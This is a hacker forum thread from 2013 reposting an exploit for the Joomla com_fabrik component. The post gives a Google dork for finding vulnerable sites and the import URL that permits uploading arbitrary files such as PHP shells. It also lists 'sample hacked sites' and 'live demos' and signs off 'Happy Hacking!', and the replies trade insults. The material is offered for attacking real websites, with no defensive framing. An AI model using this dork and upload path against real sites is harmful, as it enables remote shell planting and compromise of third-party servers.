Home of WhiteHat CyberArmy
 
HomeFAQSearchMemberlistUsergroupsRegisterLog in

Share | 
 

 Joomla Component com_fabrik File Upload Vulnerability

Go down 
AuthorMessage
W-P
Admin
avatar

Posts : 80
Join date : 2013-11-12
Age : 32
Location : Cyber World

PostSubject: Joomla Component com_fabrik File Upload Vulnerability   Thu Nov 21, 2013 1:17 pm

$************************************************* *******************************$
# +================================================= ================+
# | Joomla Component (com_Fabrik) Remote Shell Upload Vulnerability |
# +================================================= ================+
# Google Dork : inurl:index.php?option=com_fabrik or index.php?option=com_fabrik
# Date : 14/09/2012
# Exploit Author : D35m0nd142
# Vendor Homepage : [You must be registered and logged in to see this link.]
# Tested on : Mozilla Firefox on Ubuntu 12.04
$************************************************* *******************************$

Exploit:
Code:
/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1
In this webpage there is the possibility toupload any type of files (php,asp,html,jpg .. ) through the form "Import CSV".

Sample hacked sites:
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]

Live Demo:
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]
[You must be registered and logged in to see this link.]

Happy Hacking!
Back to top Go down
View user profile http://whitehatcyberarmy.pro-forums.co.uk
fasre



Posts : 1
Join date : 2013-12-25

PostSubject: Re: Joomla Component com_fabrik File Upload Vulnerability   Wed Dec 25, 2013 2:29 pm

shitly !! BITCH !!
Back to top Go down
View user profile
W-P
Admin
avatar

Posts : 80
Join date : 2013-11-12
Age : 32
Location : Cyber World

PostSubject: Re: Joomla Component com_fabrik File Upload Vulnerability   Wed Feb 12, 2014 10:16 am

Problem sir?
Back to top Go down
View user profile http://whitehatcyberarmy.pro-forums.co.uk
vvv



Posts : 3
Join date : 2014-04-22

PostSubject: Re: Joomla Component com_fabrik File Upload Vulnerability   Thu Apr 24, 2014 12:40 pm

fasre wrote:
shitly !! BITCH !!
====> you so stupid! =))
thanks admin!
Back to top Go down
View user profile
Sponsored content




PostSubject: Re: Joomla Component com_fabrik File Upload Vulnerability   

Back to top Go down
 
Joomla Component com_fabrik File Upload Vulnerability
Back to top 
Page 1 of 1

Permissions in this forum:You cannot reply to topics in this forum
Home of Ethical WhiteHat CyberArmy :: WhiteHat CyberArmy Community :: Exploits and Vulnerabilities-
Jump to: